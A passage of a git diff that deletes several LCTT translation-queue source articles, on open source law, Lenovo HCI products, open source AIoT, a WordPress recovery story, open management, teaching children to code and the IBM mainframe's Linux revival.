chosen. If an issue is detected, such as a copyleft software embedded in a proprietary software module (when that proprietary module is intended to not be subject to open source terms), modifying the architecture or modules at that development phase could be very difficult and expensive. Instead, work on developing processes that analyze architecture and choice of open source modules early in the process so that less costly and more effective course corrections may be made. - -### Open source law's rewards - -Practicing open source law is a rewarding profession due to the ability to influence an organization towards "open," which has significant benefits. Success depends on your ability to develop solutions for your organization that are workable and scalable as your organization grows and matures. - -Find out what it takes to become an open source lawyer. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/advice-open-source-lawyer - -作者:[Jeffrey Robert Kaufman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jkaufman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/whiteboard-collaboration-team.png?itok=0A3WcgxZ (whiteboard collaboration with the team) -[2]: https://opensource.com/article/20/7/transitioning-open-source-part-1 diff --git a/sources/talk/20200911 Lenovo introduces four new HCI solutions.md b/sources/talk/20200911 Lenovo introduces four new HCI solutions.md deleted file mode 100644 index 1fb45cd7ae..0000000000 --- a/sources/talk/20200911 Lenovo introduces four new HCI solutions.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Lenovo introduces four new HCI solutions) -[#]: via: (https://www.networkworld.com/article/3573787/lenovo-introduces-four-new-hci-solutions.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Lenovo introduces four new HCI solutions -====== -Hyperconverged infrastructure from Lenovo targets workloads including VDI, SAP HANA, Microsoft Azure, and Kubernetes. -Martyn Williams - -Lenovo Data Center Group on Thursday introduced four new [hyperconverged infrastructure][1] (HCI) products aimed at a variety of workloads, including virtual desktop infrastructure (VDI), SAP HANA, Microsoft Azure, and Kubernetes. - -HCI products have grown in popularity because they are easily deployed and can get a variety of workloads up and running quickly. HCI is available either in hardware/appliance form or as software. HCI hardware vendors are the usual suspects – HP Enterprise, Dell, Lenovo – while the software vendors include Nutanix and VMware. - -Lenovo is focused on ready-to-deploy HCI solutions from both software firms. It boasts that its hardware is easy to deploy and manage with simple updates, automatic scalability and a consumption-based use model. - -**READ MORE:** [Making the right hyperconvergence choice: HCI hardware or software?][2] - -"This new normal is forcing many companies of different sizes and scale to think different. They are looking to figure out, 'how do I drive more resiliency to be able to be more efficient? How do I drive more agility to pivot based on my end customer needs and the way they are going to consume my services or my resources?'" said Kamran Amini, vice president and general manager of server, storage and software defined infrastructure, Lenovo Data Center Group, on a conference call briefing with reporters. - -Here are the four products Lenovo announced. - -### ThinkAgile HX - -ThinkAgile HX is a new device powered by AMD EPYC processors and Nutanix software targeted at VDI and virtualization consolidation. With two CPUs and two GPUs in a 1U chassis, Lenovo customers can run their virtual desktop workloads with consistent performance with up to 50% fewer servers. - -ThinkAgile HX is preloaded, factory-integrated and configured with Nutanix Enterprise Cloud software. Lenovo's ThinkAgile Network Orchestrator software is integrated with Nutanix Prism to reduce human error and downtime by automating virtualization configuration changes. - -Availability is planned in late November as an appliance or a certified node. - -### ThinkAgile MX And Microsoft Azure Stack - -Lenovo and Microsoft have partnered to create the Lenovo ThinkAgile MX Azure Stack HCI Edge and Data Center line. [Azure Stack][3] is Microsoft's on-premises cloud software that allows an enterprise to replicate an Azure environment in their own data center and move workloads back and forth between on-prem and Azure. - -The new ThinkAgile MX series of appliances provides a one-stop-shop for the Azure Stack HCI to give businesses an easy way to deploy, manage and scale Azure services from edge to core to cloud. The ThinkAgile MX is designed to enable customers to rapidly deploy a hybrid cloud infrastructure. - -ThinkAgile MX will offer consumption-based, pay-as-you-go pricing of Azue Stack HCI and Azure Stack Hub. Lenovo did not say when it would be available. - -### ThinkAgile VX and VMware - -VMware and Lenovo have partnered to create a new series, the ThinkAgile VX HCI, which runs VMware's vSAN and ESXi and is designed specifically for SAP HANA databases. Lenovo said its new ThinkAgile VX 4S solution offers double the SAP HANA database memory and has direct connect NVMe to accelerate response times, speed business insights and improve total cost of ownership. - -Lenovo ThinkAgile VX HCI are S/4HANA certified nodes that enable customers to modernize their infrastructure and improve performance of vSAN environments via the integration of Lenovo XClarity Management software and the new vSphere Lifecycle Manager (vLCM) tools. - -The ThinkAgile VX will be generally available later in September. - -### Diamanti SR360 - -Lenovo has also partnered with Diamanti, maker of Kubernetes management software, to create the Diamanti SR630 solution based on a ThinkSystem server. Diamanti specializes in enabling fast Kubernetes deployments and allowing organizations to run containerized applications across hybrid cloud environments. - -The SR630 is a purpose-built application platform that combines Diamanti's Spektra Kubernetes platform with acceleration cards and Lenovo servers. The Diamanti SR630 enables customers to rapidly deploy a complete container and Kubernetes solution through plug-and-play networking and persistent storage. - -The Diamanti SR630 is available now. - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3573787/lenovo-introduces-four-new-hci-solutions.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3207567/what-is-hyperconvergence.html -[2]: https://www.networkworld.com/article/3318683/making-the-right-hyperconvergence-choice-hci-hardware-or-software.html -[3]: https://www.networkworld.com/article/3385078/microsoft-introduces-azure-stack-for-hci.html -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200911 Why the future of IoT depends on open source.md b/sources/talk/20200911 Why the future of IoT depends on open source.md deleted file mode 100644 index 4bac5d8013..0000000000 --- a/sources/talk/20200911 Why the future of IoT depends on open source.md +++ /dev/null @@ -1,80 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why the future of IoT depends on open source) -[#]: via: (https://opensource.com/article/20/9/open-source-ai-iot) -[#]: author: (Pin Xue https://opensource.com/users/pinxue) - -Why the future of IoT depends on open source -====== -We're quickly moving from the Internet of Things (IoT) to the Artificial -Intelligence of Things (AIoT). -![Brain on a computer screen][1] - -Most people are familiar with the [Internet of Things (IoT)][2], which refers to smart objects in a connected network, as this diagram shows. - -![IoT diagram][3] - -(PinXue, [CC BY-SA 4.0][4]) - -A "smart" object has a sense of its environment, and it makes decisions (locally or together with peers and a cloud server), then puts those decisions into action. - -To be smart, the object must have a brain to carry intelligence. So far, the way to do this is to embed a computer in the object. For example, you can put a Cortex-M CPU with Bluetooth 5.1 in a chip smaller than 2x2mm and embed it into almost anything. This tiny device is more powerful than my first desktop PC. - -A developer can write software for this tiny computer that uses the device's ability to gather input from all kinds of sensors (e.g., heat, light, moisture, and so on) and share and act on it using the device's screen, speaker, actuators (step motors, servos, and so on), and network. - -### AI + IoT = AIoT - -We often associate IoT with small programmable objects, like a smart lightbulb or door lock. While those are good uses of IoT, IoT is bigger than this. IoT is driving the next stage of our information-centric society. - -Information systems have become a natural part of our everyday lives. You no longer have to sit in front of a computer to surf the internet because a smartphone can bring the whole world into the palm of your hand. Soon, you won't even need a phone—the popularization of smartwatches and other wearables is proving that. The convenience of these information systems encourages us to collect and use more data from everything. For instance, why couldn't a red light tell your car it will turn -green in 5 seconds, so it is not a smart move to release the brake -just yet. - -![Relationships between computers, people, and things][5] - -(PinXue, [CC BY-SA 4.0][4]) - -In a few years, humans won't be the major data producers and consumers. "Things" will be. - -The abundance of data these things will create means we can no longer expect people to be able to analyze all the patterns and contents or even to write parsers to process the data. Based on the sheer amount of data, we need artificial intelligence (AI) to deal with it. AI will be applied to the entire data-processing process, and AI can transmit results instead of raw data. This will also reduce network traffic. Ideally, an AI will be able to drive smart objects to make decisions based on analyzed data on the spot. - -Eventually, the goal is for smart objects to be able to live on their own, as you can see in _[This one owns itself][6]_, a story about a drone earning money to pay its recharging bill by making deliveries for a coffee company. The focus of this story is about the smart contract powered by blockchain, but in my opinion, it's achievable with the artificial intelligence of things (AIoT), the most fundamental element in smart devices. - -### Open source AIoT operating systems - -In the past, smart objects were programmed on bare metal. Now the scenario is a lot more complex. When creating a real-life AIoT system, there are too many details to account for on your own—all of the types of Systems on a Chip (SoC), sensors, actuators, network protocols, AI modeling, performance optimization, reliability, power management, firmware over the air (FOTA), security, and more. However, using an AIoT operating system enables all of this hard work to be accumulated and reused instead of starting over for each hardware or project. - -AIoT is an open world, by its nature. The diversity of smart objects means no one can dominate the entire market, and we must work together to make things talk to each other. There are many levels of openness, such as file formats, protocol stacks, and APIs. These are all dependent upon the openness of the interface and the implementation of the source code. - -Open source makes it possible to customize, reuse, and improve our code. This flexibility is important. The original author of an AIoT operating system cannot be an expert on everything. Other developers have different types of expertise they can use to build upon an open foundation. - -If an operating system is well-designed and has an active community, it can provide reusable drivers, protocols, libraries, frameworks, middleware, and all manner of tools. All these components can speed product development dramatically. Without an open source platform, people have to build those parts again and again. - -The [RT-Thread project][7] has been working toward this goal. RT-Thread is an open source IoT OS that started in 2006 and currently powers 600 million devices. Its IoTOS project is part of the general AIoT blueprint. It also comes with more than 200 open source packages and some commercial packages—and the number of each keeps increasing—that make it easier to develop for the AIoT. - -If you're interested in building the IoT and working toward a better, smarter, and open future of AIoT, visit the [RT-Thread website][8] and see how you can lend a hand. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/open-source-ai-iot - -作者:[Pin Xue][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pinxue -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) -[2]: https://opensource.com/resources/internet-of-things -[3]: https://opensource.com/sites/default/files/uploads/iot-diagram.png (IoT diagram) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/computer-people-things.png (Relationships between computers, people, and things) -[6]: https://medium.com/@creole/6-this-one-owns-itself-9f6a3aa4382d -[7]: https://github.com/RT-Thread/rt-thread -[8]: https://www.rt-thread.io/ diff --git a/sources/talk/20200912 How breaking my back led me to open source.md b/sources/talk/20200912 How breaking my back led me to open source.md deleted file mode 100644 index b3f8666895..0000000000 --- a/sources/talk/20200912 How breaking my back led me to open source.md +++ /dev/null @@ -1,97 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How breaking my back led me to open source) -[#]: via: (https://opensource.com/article/20/9/breaking-back-open-source) -[#]: author: (Sara Kelly https://opensource.com/users/sarapk) - -How breaking my back led me to open source -====== -Open source gave a voice and a community to someone coping with the -aftermath of a major injury, and eventually led to a new career. -![Open source doctor.][1] - -Recently, I noticed some unusual activity on my blog. A very old post about [how I broke my back][2] while living in London had a lot of hits. Was it yet another case of Internet spammers finding a new target for their lewd advertisements? I finally put two and two together when I read [the headlines][3] that British personality Simon Cowell had broken his back in a freak motorcycle accident. Aha. So, a little celebrity mishap had led to a renewed interest in my story. Not to worry, if my recovery is anything to go by, then Simon should be just fine, folks. - -Breaking my back was a pivotal experience on many fronts. It scared the hell out of me. But the road to recovery helped me become a more resilient, courageous, and patient human being. Interestingly, it was this incident that also led me to the world of open source. Living with chronic pain is lonely, but I found my voice and a community via WordPress. Now, nearly eight years later, I'm working for the number one open source company in the world. - -### Wiggle your toes - -When I woke up in the trauma ward of Whitechapel Hospital back in 2011, I was tightly swaddled in white cotton, like an infant. Pitiful moans echoed around me, and I saw nurses scurrying to-and-fro. There was barely time to balk at my surroundings before a stern-looking doctor with a clipboard approached my cot. He skipped the niceties, and gravely informed me that I had broken my back. - -My first reaction was to wiggle my toes as a cold sweat hit my face. Would I ever walk again? - -"But doctor, I can feel my toes!" I cried, desperately hoping that would be the end of the nightmare. - -I was curtly informed that breaking your back is not the same as a spinal injury. One is a case of broken bones, which can heal over time. The other means permanent disability. In my case, the L1 bone had shattered into small pieces which were resting scarily close to the spinal cord. The doctor recommended complex spinal surgery to collect the bone fragments and piece them back together with metal rods. However, until surgery occurred, I should not make any sudden movements in case the bones slipped and damaged the spinal cord. - -It was five days before I underwent surgery, during which I was in a constant state of terror. I was afraid to move an inch lest I become wheelchair-bound. Lying in the same position for hours on end is painful. Even worse were the well-meaning nurses who needed to carefully maneuver me to change the bed sheets each morning. Those five days seemed like an eternity, but eventually, I had my surgery, and a few days later, I was discharged from the hospital. - -### Learning to walk - -Muscles waste away at an alarming rate. Broken back patients are encouraged to start moving as soon after surgery as possible for the best chance of recovery. During spinal surgery, most of the muscles in your back are spliced through so that the surgeons have room to focus on inserting titanium metal rods around the broken bones. So, when you wake up, you are starting from a position of zero muscle strength. - -The day after my surgery, my first goal was to take two steps. The next day, it was ten steps. Then it was walking to the bathroom and back. By the time I left the hospital, I still couldn't walk more than 15 feet without assistance, but I continued to set myself small goals and started hydrotherapy to regain my mobility. - -Funny enough, my pain only increased as I learned to walk again. Up until that point, I had avoided any serious reliance on drugs. But by the time I could take a shower independently, walk upstairs, or catch public transport with confidence, I was in utter agony. - -### Chronic pain is a lonely place - -It felt like thick, iron poles were constantly stabbing my right hip and knee. At first, the pain would creep on in the early afternoon, but eventually, it became constant chronic pain. The most difficult part was not knowing why it was happening. I was supposed to be getting better, so why was I hurting so badly? - -Nobody explained to me what nerve pain is. Now I know it is a common side effect of any surgery and can be temporary or permanent. Back then, various disinterested doctors and physiotherapists put it down to me not walking correctly or simply complaining. - -Being in constant pain, especially when nobody is listening, is incredibly lonely. For the next couple of years, I experimented with all sorts of medications, yoga, pilates, meditation, and even chiropractic treatments. Nothing would make the pain go away. I became heavily dependent on opiates, which caused other health problems such as constipation, insomnia, and mild hallucinations. - -### Introducing WordPress - -Just as I was giving in to depression, I was introduced to WordPress. A friend of mine had created their own personal blog, and they were posting creative articles about their life and opinions. Up until that time, I had thought the realm of websites was reserved for techie folks. I didn't have a clue about programming, let alone what a domain name was. - -My friend insisted it was easy and invited me to post a guest blog on their site. I decided to share the story of my accident. Publishing the blog was cathartic—I needed that emotional release—and from a technical perspective, it was easy peasy. WordPress allowed me to format the text and add pictures with ease. Afterward, my friend informed me of the number of views my blog posting received, and I toyed with the idea of starting my own website. - -### The doctor calls - -A few weeks after publishing my first ever blog, I was going for a routine checkup at Whitechapel Hospital. Shortly after signing in at the reception counter, the original doctor—the one with the clipboard who had performed my spinal surgery, beckoned me into his office. - -Gone was the serious expression and grouchy-looking eyebrows. The doctor actually looked happy to see me. As usual, he skipped the pleasantries and hastened to share that he had read my blog about breaking my back. I was shocked something I had posted had reached him! He went on to say how moved he was by my struggles, as well as concerned by some of the "remedies" I had tried. He promised he would do whatever he could to get to the bottom of my issue. - -Well, long story short, the doctor eventually discovered the nerve pain I was experiencing was caused by the placement of two of the metal pins around my spine. I went in for a second spinal surgery to remove them, and ever since, I have been pain-free. - -### I'm an open source believer - -![What happens when you break your back][4] - -Sara Kelly [[CC-BY-SA][5]] - -That experience taught me about the power of communication, and it wasn't long before I became a WordPress ninja! I entrenched myself in the [WordPress community][6] and soaked up everything there is to know about [running a website][7], thanks to the amazing network of contributors who post hacks, how-to guides, and respond to troubleshooting forums. - -[WordPress][8] is a completely free platform that anyone can use, study, and even change. I am a huge fan of their [mission statement][9], which reads: "We believe in democratizing publishing and the freedoms that come with open source." My own humble story is just one example of how having a voice made an impact. My original blog is long gone, but I have written subsequent stories about my recovery, which my doctor now shares with new patients, so they know what to expect after a broken back. Perhaps my story has even helped a celebrity like Simon? In any case, I like the idea that there are millions of people the world over, with their own struggles and aspirations, who can make a positive difference in the world by using free platforms like WordPress. - -What can I say? When I got the phone call almost a year ago that Red Hat was hiring, it felt like destiny. It's only by working at Red Hat I've come to appreciate how the idea of "open" unlocks the world's potential. The principles of open source—from decision-making to management practices—are firmly embedded in Red Hat's culture. Now, I truly am an open source believer. - -Besides its popularity, WordPress is also known for usability and an easy-to-develop environment. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/breaking-back-open-source - -作者:[Sara Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sarapk -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_opensourcedoctor.png?itok=fk79NwpC (Open source doctor.) -[2]: https://bossyflossie.com/recover-broken-back/ -[3]: https://edition.cnn.com/2020/08/09/us/simon-cowell-bike-accident-trnd/index.html -[4]: https://opensource.com/sites/default/files/what_happens_if_you_break_your_back.jpg (What happens when you break your back) -[5]: https://creativecommons.org/licenses/by-sa/4.0/legalcode -[6]: https://make.wordpress.org/ -[7]: https://opensource.com/article/20/4/updating-wordpress -[8]: http://wordpress.org -[9]: https://wordpress.org/about/ diff --git a/sources/talk/20200913 Overcoming resistance to open management.md b/sources/talk/20200913 Overcoming resistance to open management.md deleted file mode 100644 index 016106361c..0000000000 --- a/sources/talk/20200913 Overcoming resistance to open management.md +++ /dev/null @@ -1,58 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Overcoming resistance to open management) -[#]: via: (https://opensource.com/open-organization/20/9/overcoming-resistance-open-management) -[#]: author: (Heidi Hess von Ludewig https://opensource.com/users/heidi-hess-von-ludewig) - -Overcoming resistance to open management -====== -In some organizations, a cultural aversion to openness is strong. How -can managers overcome it—and create a new sense of shared purpose on -their teams? -![Tug of war][1] - -In this installment of our "[Managing with Open Values][2]" series, I chat again with Braxton, Director of Pricing for a nationwide U.S. insurance company and people manager. - -In June 2018, Braxton reached out to Red Hatters in the Open Organization community. He wanted to learn more about how both he _and_ his team could work differently—using open values. We were happy to help. So I co-organized a workshop on [open organization principles][3] for Braxton and his team—and kept in touch afterward, so I could learn about his adventure in becoming more open. - -In this second interview (which includes collaborators Tracy Guiliani, [industrial/organizational psychologist and expert in associate engagement][4], and [Bryan Behrenshausen][5]), we explored what it was like to learn firsthand about open source values, and how to use them to transform an organization. In particular, we discussed the value of feedback, managing resistance to using open values, and how the management practice of creating shared purpose caused unexpected benefits for a team with dissimilar roles. It's another enlightening conversation, one that allowed us to witness—directly—how someone transformed Open Organization community-driven workshop material into dynamic change with benefits for him, his team, and his organization. - -One striking point to note is that the "journey to open" is complex and worthwhile. Braxton and his team must confront habituated cultural practices that constrict openness. To overcome this, they engage one habit at a time using community (what it means to be a member of an open team), collaboration (defining what each open values mean to them) and inclusivity (actively listening to dissenters and negotiating a solution or understanding). In other words, they _use_ open values to _create the use_ of open values among the team. - -"Being open" can’t be mandatory; it’s important to actively manage conflicts within the team regarding the miscommunication or misunderstanding of open values. - -Put another way: in order to _have_ open, you have to _be_ open. This is actually counterintuitive in conventional organizations. For example, Braxton articulates how "being open" can’t be mandatory; it’s important to actively manage conflicts within the team regarding the miscommunication or misunderstanding of open values. [Conflict, fortunately, is a necessary part of collaboration][6]; it's also the engine for negotiation and change if we allow it, so it's the natural place for translation and transition (i.e., growth) to occur. As Tracy points out during this conversation, when conflict is positive and well-managed, it becomes a force for developing support, increased trust, and psychological safety—which can all reinforce shared purpose. - -Listen to the rest of this interview to learn: - - * How Braxton inspired shared purpose in through open values on his team, using consistent and regular feedback (including being open to negative feedback)  - * How he found himself coming back to the theme of "transparency" to help the team develop specific open values, resulting in faster and clearer communication - * The impact of resistance or late adopters to the open values among his team, the difference between misunderstanding and miscommunication, and the clarification of value to change—working through differences and conflict - * Whether Braxton thinks he would have the same results from his team if he'd chosen to manage _without_ open values as his guides. - - - -Listen to the interview with Braxton - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/9/overcoming-resistance-open-management - -作者:[Heidi Hess von Ludewig][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heidi-hess-von-ludewig -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_information_wants_to_be.jpg?itok=keUyg1RH (Tug of war) -[2]: https://opensource.com/open-organization/managing-with-open-values -[3]: https://github.com/open-organization/open-org-definition -[4]: https://opensource.com/open-organization/20/5/commitment-engagement-org-psychology -[5]: https://opensource.com/users/bbehrens -[6]: https://opensource.com/open-organization/19/5/productive-arguments diff --git a/sources/talk/20200923 How my students taught me to code.md b/sources/talk/20200923 How my students taught me to code.md deleted file mode 100644 index 9c2cb8b414..0000000000 --- a/sources/talk/20200923 How my students taught me to code.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How my students taught me to code) -[#]: via: (https://opensource.com/article/20/9/my-students-taught-me-code) -[#]: author: (Jess Weichler https://opensource.com/users/cyanide-cupcake) - -How my students taught me to code -====== -Coding is for everyone—from preschoolers to adults. Here are some ways -to help you and your children learn to code. -![Student desk for open education][1] - -"Hello, I'm Miss Jess, and my students taught me how to code." - -When I say this to new students, they often think I misspoke. But it's true. Coding always interested me, but it seemed inaccessible. Then my students taught me to code a video game during a few lunch breaks. - -Their encouraging advice and suggestions helped me create my first video game using [Scratch][2]. The game was simple. It was about a monkey catching bananas as they fell from the sky. If you caught a ripe banana, you earned points. - -One of my students chimed in with an idea: "Why don't you have bad bananas that take away points?" - -The answer was that I didn't know how to do that yet. But this simple idea was kind of like a puzzle to me. And there's nothing I love more than a good puzzle. So I spent a lunch break working at this new idea until I solved it. - -An accidental side effect of this project was that I was strengthening my math skills. I'd made it through high school and university without ever really understanding what a variable was. But finally having a real-world application I cared about—needing a scoring system for my game—made it all make sense. - -![Scratch game][3] - -(Jess Weichler, [CC BY-SA 4.0][4]) - -### Connecting with kids through coding - -Coding isn't just for kids who dream of becoming computer programmers. It's for everyone. Educators and parents can harness the power of code to engage learners and introduce subjects in a unique way. - -Writing code and seeing it run is a process of discovery, and everyone loves feeling accomplishment. But once you know a little code, it doesn't take long for you to realize that programming can express ideas; foster creativity; teach mathematics, logic, and problem solving; and encourage collaboration. What's not to love? - -Connecting with kids is always important in education, but with more kids learning from home this year, it's vitally important to engage with them. Coding is a great way to do that. - -### Teaching kids to code - -My youngest students are 4 to 7 years old, and I start them with paper "code" activities. These are simple physical games that help young children understand basic programming concepts and mindsets without a digital device. Once my students turn 8, I introduce Scratch, a visual programming language that uses block-based code. I continue this track until they're age 10 to 12. I also teach some paper "code" activities with older children to introduce and reinforce concepts. - -Once students have a clear understanding of visual coding, I move into text-based coding with Python. It's important to help students make the connection between new Python keywords and the Scratch blocks they already know. (Check out my [introduction to Python series][5] for more information.) - -### Just the beginning - -Whether you're an educator, after-school provider, or parent, join me in a series of articles as I explore how you can use coding to supercharge learning opportunities for your child, your students, or even yourself. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/my-students-taught-me-code - -作者:[Jess Weichler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cyanide-cupcake -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003588_01_rd3os.combacktoschoolseriesgen_rh_032x_0.png?itok=cApG9aB4 (Student desk for open education) -[2]: https://scratch.mit.edu/ -[3]: https://opensource.com/sites/default/files/uploads/codekids1_myfirstgame.png (Scratch game) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/article/17/10/python-101 diff --git a/sources/talk/20200924 Still not dead- The mainframe hangs on, sustained by Linux and hybrid cloud.md b/sources/talk/20200924 Still not dead- The mainframe hangs on, sustained by Linux and hybrid cloud.md deleted file mode 100644 index 5fef055eba..0000000000 --- a/sources/talk/20200924 Still not dead- The mainframe hangs on, sustained by Linux and hybrid cloud.md +++ /dev/null @@ -1,135 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Still not dead: The mainframe hangs on, sustained by Linux and hybrid cloud) -[#]: via: (https://www.networkworld.com/article/3576290/still-not-dead-the-mainframe-hangs-on-sustained-by-linux-and-hybrid-cloud.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Still not dead: The mainframe hangs on, sustained by Linux and hybrid cloud -====== -The mainframe—Linux alliance turns 20 this month and is proving to be more vital than ever, primarily in the form of Big Iron-based Red Hat OpenShift. -Thinkstock - -The [mainframe][1] has been declared “dead”, “morphed” and “transformed” so many times over the years sometimes it’s sometimes hard to believe the Big Iron still has an identity in the enterprise world. - -But clearly it does and in a major way, too.  - -**[ Lessons on diversity in IT: [10 professional organizations focused on diversity in tech][2] • [Being Black in IT: 3 tech leaders share their stories][3] • [Gender gapped: The state of gender diversity in IT][4] • [Māori participation in IT][5]: diversity insights for CIOs everywhere • [IT snapshot: Ethnic diversity in the tech industry][6] ]** - -Take recent news as an example: According to IBM, 75% of the top 20 global banks are running the newest z15 mainframe, and the IBM Systems Group reported a 68% gain in Q2 IBM Z revenue year-over-year. - -At the heart of its current vitality is Linux—primarily in the form of Big Iron-based Red Hat OpenShift—and a variety of software such as IBM [Cloud Paks][7] and open source applications.  The Linux-mainframe marriage is celebrating 20 years this month, and while the incongruous mashup—certainly at the beginning anyway—has been a boon for the mainframe, by most accounts it still has plenty of good years ahead of it. - -“For the first five or so years we really were just experimenting with what we could do with Linux and the mainframe but then the server-consolidation movement hit, and we knew we had something big,” said [Ross Mauri][8], the general manager for IBM Z. - -“What really got us going was the big Wall Street financial companies who all had these Sun Solaris servers with big databases, and many decided to consolidate on the Z mainframe running Linux, and we were off and running,” he said. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][9] - -Another contributing factor in 2000 was Big Blue’s $1B investment in all things Linux, which was a huge move in getting the operating system and open-source software in general into the mainstream business market. - -Since that time there have been numerous milestones in the mainframe’s Linux journey, including the introduction of a standalone box, the LinuxONE, five years ago, which is now at the heart of some of the world’s largest implementations. - -### Red Hat to the rescue - -The next chapter in the mainframe story began last year when [IBM bought Linux powerhouse Red Hat][10] for $34B, tying the massive transactional capacity, security and reliability of the Big Iron with Red Hat Open Shift and Red Hat Enterprise Linux. - -IBM has also released Red Hat Ansible Certified Content for IBM Z and launched a new cloud-native development offering, [Wazi Workspaces][11], which lets developers apply industry-standard tools from IBM Z to multi-cloud platforms optimized for OpenShift. - -Combine those moves with all of the open-source mainframe software work going on in the [Linux Foundation’s Open Mainframe Project][12] and customers now have a ton of development options for private or public cloud-based workloads. - -“Clients no longer have to develop and work with proprietary tools, and the zOS is being brought completely into the modern application development world,” Mauri said. - -Gartner recently wrote of that trend: “Now developers, testers, and infrastructure and operations staff have the capability to utilize the same tools which exist in the distributed world. Rocket Software, CA Technologies and IBM are supporting the [Open Mainframe Project Zowe][13], which is making adapting of open-source tools much easier.” - -IBM calls Zowe an open source software framework that lets development and operations teams securely, manage, control, script and develop on the mainframe like any other cloud platform. - -“From application development software, to complex DevOps orchestration engines, these traditional platforms are enjoying a resurgence of relevance in the data center that is making them accessible to all developers and testers. This change significantly reduces the issue of limited and old-fashioned development tools that previously contributed to the impetus to leave traditional platforms,” Gartner stated. - -Going forward Mauri said he expects a number of key technologies will continue to make the mainframe a key cloud and compute player. - -### Confidential Computing - -One of those keys is an overarching security model called Confidential Computing which IBM broadly describes as a way to protect data, applications and processes at scale. It has rolled out a number products that adhere to the Confidential Computing mantra. For example, IBM’s Secure Execution for Linux software lets customers isolate and protect  large numbers of workloads from internal and external threats across a hybrid-cloud environment. Other packages let customers bolt-down containerized Kubernetes workloads or Red Hat OpenShift clusters, IBM says. - -There is also a Linux Foundation project, the Confidential Computing Consortium, made up of  Alibaba, Arm, Baidu, IBM/Red Hat, Intel, Google Cloud and Microsoft that is pushing the concept industry wide. - -“The organization aims to address data in use, enabling encrypted data to be processed in memory without exposing it to the rest of the system, reducing exposure to sensitive data and providing greater control and transparency for users,” the Consortium says on its website.  “This is among the very first industry-wide initiatives to address data in use, as current security approaches largely focus on data at rest or data in transit. The focus of the Confidential Computing Consortium is especially important as companies move more of their workloads to span multiple environments, from on premises to public cloud and to the edge.” - -Mauri says IBM is on its fourth generation of Confidential Computing technology which will keep it out in front of other industry cloud players and give the company a strong security weapon for the foreseeable future. - -“The vulnerability landscape is constantly changing, and organizations can be attacked across their IT systems. Add to that concerns around data privacy and regulations and you’ve got a full plate,” said Terri Cobb, lead alliance partner at Deloitte Consulting. Deloitte recently conducted 